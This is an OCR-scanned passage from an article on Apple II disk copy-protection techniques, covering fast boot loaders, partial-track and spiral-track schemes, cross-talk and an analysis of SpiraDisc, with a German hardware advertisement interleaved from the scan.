each of the two-bit values is read into memory, but instead of
storing them directly, the values are used as an index into the
106-byte table. The 106-byte table serves two purposes. The
first, in the context of the two-bit values, is as an array of offsets
within the 256-byte table. The second, in the context of the
six-bit values, is as an array of pre-shifted values for the six-bit

® eroffnet Ihrem APPLE Il verbluffende Anwendungsmaoglichkeiten durch den
AnschluB von wenigen, einfachen Bauteilen (z.B. Schalter, Relais, Thermistor,
Photodiode, R/C-Glied usw.) an die Mini-Bananen-Buchsen.

@ vermeidet durch seinen Nullkraftstecker verbogene Pins an DIL-Steckern beim
Wechseln von Paddles und Joysticks.

@ mit ausfuhrlicher Beschreibung von Anwendungen und mit Gratisprogram-
men fur den APPLE Il als: Thermometer, Serielles Druckinterface, Farbdetektor
und D/A-Wandler

@ Preis: DM 123,— inkl. MWST (als Bausatz DM 93,— inkl. MWST)
@ Experimentier-Kit mit Sensoren DM 72,50 inkl. MWST

Dipl.-ing. Hans W. Hofel - Computerzubeho6r
ParkstraBe 16 - 6204 Taunusstein 4
Telefon (06128) 71965 - Telex 4182770 hwh d
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nibbles. The 256-byte table is composed of groups of two-bit
values in all possible combinations for each of the three positions
in a nibble. To produce the eight-bit value, each of the pre-shifted
six-bit values is ORed with the corresponding two-bit value. It is
unknown why the 85th value is treated separately from the rest
in that code; it could certainly be decoded at the same time,
saving five lines.

With the benefit of determination to improve it, and the ability
to do so, I rewrote this loader to decode all of the bytes directly,
reduced the size of the code, and made it even faster. I call it
“Oboot.”® Then I reduced the overhead to just two bytes, if page
$BF is not the destination. I call that one “gboot.”®® The two
tables are still 106 bytes and 256 bytes respectively. It might
appear that the second table can be reduced to 192 bytes, since
the other 64 bytes are unused. However, it is not possible for this
algorithm, because the alignment is required to supply the pre-
shifted values. If the table were reduced in size, then additional
operations would be required to reproduce the effect of the shift,
and which would take longer to execute than the time available
before the next nibble arrived.

Interestingly, Heineman claims to have created and released
the technique in 1980,%! but it was apparently not until 1984
that she used it in a release herself. It certainly existed in 1980,
though. Automated Simulations (which later became Epyx) in-
cluded the technique with the programs Hellfire Warrior and
Rescue At Rigel. In 1983, Free Fall Associates®? included the
technique with the programs Murder on the Zinderneuf and Ar-

Onttp://pferrie.host22.com/misc/Oboot.zip

50nttp://pferrie.host22.com/misc/qboot.zip

51Personal communication

52FFA was founded by the co-founder of Automated Simulations, whose last
name begins with “Free,” and a programmer whose last name ends with
“Fall.”
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chon. (Apparently they took it with them, as Epyx did not use it
again.) Also in 1983, Apple included the technique in ProDOS. In
1985, Brgderbund included the technique with the program Cap-
tain Goodnight. According to Roland Gustafsson, Apple supplied
that code.??

Also interestingly, whoever included it in the Free Fall Asso-
ciates programs either did not understand it, or just did not want
to touch it—there, the loader has been patched to require page-
aligned reads, but the code still performs the initialisation for
arbitrary addressing. Twelve lines of code could have been re-
moved from that version. The Interplay programs that use the
technique also require page-aligned reads, but do not have the
unnecessary initialisation code.

As Olivier Guinart notes, “It’s ironic that the race condition
would be used by a program called Borrowed Time.”

53Personal communication
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10:7.3 Track-level protections
Track length

The length of a track might not be constant across all of the
tracks on a disk. The speed of the drive is the primary reason:
the faster the drive, the shorter the track. Fewer nibbles can be
written because of the larger gaps between the nibbles.

Wizardry determines the length of the track, by measuring the
time between succeeding arrivals of sector zero, and then calcu-
lates the deviation from the expected value. This deviation value
is applied to the length of several other tracks, and the result
is compared against the expected lengths. If the length of the
track is not within the range that is expected, then the program
hangs. This protection cannot be reproduced by a sector-copier
or track-copier, because they will discard the original data be-
tween the sectors, thus altering the length of the track. A bit-
copier can usually reproduce this protection because it writes the
entire track mostly as it appeared originally, so the track length
is at least similar to the original.

Track positioning

The stepper motor in the Disk |[ is composed of four magnets.
To advance a whole track requires activating and deactivating
two phases in the proper order, and with a sufficient delay, for
each track to step. To step to a later track, the next phase must
be activated while the other phases are deactivated. To step to
an earlier track, the previous phase must be activated while the
other phases are deactivated. As might be expected, activating
and then deactivating only one of the phases will cause the step-
per to stop half-way between two tracks. This is a half-track
position. It is even possible to produce quarter-track stepping
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reliably, by performing the half-track stepping method, but with
a smaller delay. Depending on the hardware, it can also be done
by activating two of the phases, and then deactivating only one
of them. This last technique is used by Spiradisc. (§10:7.3.)

The issue with half-track and quarter-track positioning is that
data written to these partial track positions will cause signal in-
terference with data written to the neighbouring half-track or
quarter-track at the same relative position. To avoid uninten-
tional cross-talk, data can be written to only part of the track
such that there is no overlap, or placed at least three-quarters
of a track apart. (The reliability of three-quarter tracks is ques-
tionable.)

The maximum amount of data that can be placed at partial-
track intervals is proportional to the stepping—a quarter of a
track for each of four consecutive quarter-tracks, half of a track
for each of two consecutive half-tracks, or a full track for consecu-
tive three-quarter-tracks. There can be a significant performance
hit to access the data, too—it requires an almost complete rota-
tion to reach the start of the data on subsequent tracks if the
maximum density is used, because the seek time is long enough
that the start will be missed on the first time around. As a re-
sult, the most common amount that is used is only a quarter of
the track, and placed far enough around the track that the read
can be performed almost continuously. Programs that make use
of partial tracks usually include a standard format of individual
sectors, so the only trick to the protection is the location of the
data on the disk.

Agent USA uses the half-track technique with five sectors per
track.

Championship Lode Runner uses an alternating quarter-track
technique with just two sectors per track but of twice the size.
While loading, the access alternates between the neighbouring
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Lode/Runnery

quarter-tracks, resulting in the drive chattering, but allowing the
sectors to be spaced only half of a rotation apart. In both cases
of the programs here, it results in an extremely fast load time
because of the reduced head movement.

In this case, the protection is the use of partial tracks. Copy
programs which do not copy the partial tracks (and copying par-
tial tracks is not the default behavior) will fail to reproduce the
protection.

Synchronised tracks

If the approximate rotation speed of the drive is known, then it
becomes possible to place sectors at specific locations on tracks,
such that they have a special position relative to sectors on other
tracks. This technique is identical to synchronized sectors, except
that it spans tracks, making it even more difficult to reproduce,
because it is difficult to determine the relative position of sectors
across tracks. Unlike “spiral tracking” (§10:7.3), this technique
limits itself to checking for the existence of particular sectors,
rather than actually reading them.

Blazing Paddles uses this technique. Once it finds sector zero
on track zero, as a known starting point, it seeks to track one,
reads the address field of the next sector to arrive, and then
compares it to an expected value. If the proper sector is found,
then the program seeks to track two, reads the address field of
the next sector to arrive, and compares it to an expected value.
If the proper sector is found, then the program seeks to track
three. This is repeated over eight tracks in total. It means that
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the original disk has one sector placed at a specific location on
each of eight consecutive tracks, relative to sector zero of track
zero, such that it factors in how much the disk rotates during the
time that the controller takes to move the head from track zero.
It also supports slight variations in rotation speed, such that the
read can begin anywhere after the address field for the previous
sector, without failing the protection.

Track spiralling

spiral track

quarter-track
layout -

“Track spiralling” or “spiral tracking” is a technique whereby
the data is placed in partial-track intervals, but treated as a com-
plete track. By measuring the time to move the head to a partial-
track, the position on the track can be known, such that the next
sector to be read will have a predictable number, and therefore
can be read without validation, once the start of the sector is
found. A copy of the disk will not place the data at the same
relative position, causing the protection to fail. The stepping in
spiral tracking goes in only one direction. A visualisation of the
data access would look like a broken spiral, hence the name.
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One major problem with spiral tracking is that variations in
rotation speed can result in the read missing its queue and not
finding the expected sector. For thirty years, I believed a claim
that the program Captain Goodnight uses this technique.®* It
doesn’t. The Observatory uses a spiral pattern for faster loading,
but still verifies the sector number first. However, the program
LifeSaver uses true spiral tracking.

Track arcing

“Track arcing” uses the same principle as spiral tracking, but
instead of stepping in only one direction, it reaches a threshold
and then reverses direction.

Track mirroring

Track mirroring should be placed conceptually between synchro-
nized tracks and spiral tracking. As with synchronized tracks,
it expects a particular sector to be found after stepping across
multiple tracks. As with spiral tracking, it reads the sector data.
However, unlike spiral tracking, it verifies that the contents of

54 This was claimed by a cracker whose crack-screens were displayed only
by pressing a particular key-sequence during the boot. They were known
as “Hidden Pages.” (Imagine that—a cracker who didn’t want to brag
openly!) Both of the programs Captain Goodnight and Where In The
World Is Carmen Sandiego (first release) use alternating quarter-tracks—
the same technique as in the program Championship Lode Runner. (The
former two were released within a year of the latter one.) The sec-
tors are placed in a N/S/E/W orientation on the first two tracks, a
NW/SE/NE/SW orientation on the next two tracks, and then back to
the N/S/E/W orientation on the next two tracks, and so on. The loader
will allow an entire revolution to pass, if necessary, in order to find the
requested sector. The tracks are synchronized, however, because they
must be to avoid cross-talk. (§10:7.3.)
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that sector match exactly the contents of all of the other sectors
that are synchronized similarly across the tracks.

The Toy Shop uses this technique. It reads three consecutive
quarter-tracks in RWTS18 format, and verifies that they all fully
readable and have a valid checksum. This is possible only because
they are identical in their content and position. The contents of
the last quarter-track are used to boot the program. A funny
thing occurs when the program is converted to a NIB image:
the protection is defeated transparently, because NIB images do
not support partial tracks, so the attempt to read consecutive
quarter-tracks will always return identical data, exactly as the
protection requires!

Pinball Construction Set uses this technique. It reads a sector
then activates a phase to advance the head, and then proceeds
to read a sector while the head is moving. The head continues
to drift over the track while the sector is being read. After read-
ing the sector, the program deactivates the phase, reads another
sector, and then completes the move to the next track. Once
there, it reads a sector. It activates a phase to retreat the head,
and then performs the same trick in reverse, until the start of
the track is reached again. It performs this sequence four times
across those two tracks, which makes the drive hiss. The program
is able to read the sector as continuous data because the disk has
consecutive quarter-tracks that are identical in their content and
position.

Cross-talk

While cross-talk is normally something to be avoided, it can serve
as a copy-protection mechanism, by intentionally allowing it to
occur. It manifests itself in a manner similar to the effect of hav-
ing excessive consecutive zero-bits being present in the stream,
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where reading the same stream repeatedly will yield different val-
ues. The lack of such an effect indicates the presence of a copy.

More tracks

Many disk drives had the ability to seek beyond track 34, and
many disks also carried more than 35 tracks. However, since DOS
could not rely on the presence of either of these things, it did not
offer support for them. Some copy programs did not support
the copying of additional tracks for the same reason. Of course,
programmers who did not use DOS had no such limitation. While
the actual number of available tracks could vary up to 40 or even
42, it was fairly safe to assume that at least one track existed,
and could be read by direct use of the disk drive.
Faial uses this technique to place data on track 35.

SpiraDisc

No description of copy-protection techniques could be complete
without including SpiraDisc. This program was a protection
technology that introduced the idea of spiral tracking, though
the implementation is not spiral tracking as we would describe
it today. It is, in fact, a precise placement of multiple sectors
on quarter-tracks, such that there is no cross-talk while reading
them, but without a specific order. The major deviation from
the current idea of spiral tracking is that there is no synchroniza-
tion of the sectors beyond avoiding cross-talk. The program will
allow a complete rotation of the disk to occur, if necessary, while
searching for the required sector.

The first-stage boot loader is a single sector that is 4-and-4
encoded, 768 bytes long. The second stage loader is composed of
ten regular sectors that are 6-and-2 encoded. They are read one
by one—there is no read-scattering here to speed up the process.
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Thereafter, reads use an alternative nibble table—all of the values
from #$A9-FF from our first table. These values might have been
chosen because they provide the least sparse array when used as
indexes.

The encoding is not 6-and-2, either; it is 6-and-0 encoding.
This requires 344 bytes per sector, instead of the regular 342
bytes. The decoder overwrites the addresses $xxAA and $xxAB
twice in order to compensate for the additional bytes, as the
program supports only page-aligned reads. The decoding is in-
terleaved, so there is no denibbilisation pass.

The 6-and-0 encoding works by using the six-bit nibble as an
alternating index into one of the arrays of six-bit or two-bit val-
ues. The code is both much faster (no fetching of the two-bit
array) and much smaller (two-thirds of the size) than the one
described in Race Conditions,(§10:7.2) but the decoding tables
occupy 1.5kb of memory. The memory layout might have been
chosen to avoid a timing penalty due to page-crossing accesses.
However, the penalty has no effect on the performance of the
routine because the code must still spend time waiting for the
bytes to arrive from disk. Therefore, the tables could have been
combined into a 512-byte region instead, which is a closer match
to the memory usage of the routine described in Race Conditions.

A SpiraDisc-protected disk uses four sectors per track, but
since the track stepping is quartered, the data density is equiva-
lent to a single 16-sector track. Each sector has a unique prologue
value to identify itself. When a read is requested, if a sector can-
not be found on the current track, then the program advances
the drive head by one quarter-track, and then attempts the read
again. If the read fails again, then the program retreats the drive
head by one quarter-track, and then attempts the read again.
If the read still fails, then the program retreats the drive head
by another quarter-track, and then attempts the read again. If
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the read fails at this point, then the disk is considered to be
corrupted.

Given the behaviour of the read request, the data might not
be stored on consecutive quarter-tracks. Instead, they might zig-
zag across a span of up to three quarter-tracks. This is another
deviation from the idea of spiral tracking. By coincidence, the
movement is very similar to the one in the program Captain
Goodnight and other Brgderbund titles.

Copying a SpiraDisc-protected disk is difficult because of the
potential for cross-talk which would corrupt the sectors when
they are read back. However, images produced by an E.D.D. card
will work in emulators, if the copy parameters are set correctly.

When run, the program decodes selected pages of itself, based
on an array of flags, and also re-encodes those pages after use,
to prevent dumping from memory. The decoding is simply an
exclusive-OR of each byte with the value #$AC, exclusive-ORed
with the index within the page.

At start-up, the program profiles the system: scanning the slot
device space, and records the location of devices for which the
first 17 bytes are constant (that is, they return the same value
when read more than once), and which do not have eight bytes
that match the first one within those 17 bytes. For example,
Mockingboard has memory-mapped I/O space in that region,
which are mostly zeroes. The program calculates and stores a
checksum for slot devices which pass this check. The store was
supposed to happen only if the checksum did not match certain
values, but the comparison is made against a copyright string
instead of an array of checksums. The first time around, all
values are accepted. During subsequent profiling, the value must
match exactly.

The program checks if bank one is writable, after attempting
to write-enable it, and sets a flag based on the result. The pro-
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gram checksums the F8 and FO ROM BIOS codes, watches for
particular checksums, and sets flags based on the result. The
original version of the program (as seen in 1981, used on the pro-
gram Jawbreaker) actually required that the ROM BIOS code
match particular checksums—either the original Apple |[ or the
Apple |[+—otherwise the program simply wiped memory and re-
booted. (This prevented protected programs from running on
the Apple ][e or the Apple |[c.) The no-doubt numerous compat-
ibility problems that resulted from this decision led to the final
check being discarded (as seen in 1983, used on the program
Maze Craze Construction Set, but quite possibly even earlier),
though the rest of the profiling remains. However, having even
one popular title that didn’t work on more modern machines was
probably sufficient to turn publishers entirely off the use of the
program.

The program probes all of memory by writing a zero to every
second byte. However, it skips pages #0, #2, #4-7, and #$A8-CO,
meaning that it writes data to all slot devices, with unpredictable
results. The program also re-profiles the system upon receiving
each request to read tracks. This re-profiling is intended to de-
feat memory dumps that are produced by NMI cards, and which
are then transferred to another machine, as the second machine
might have different hardware options.

The program also checksum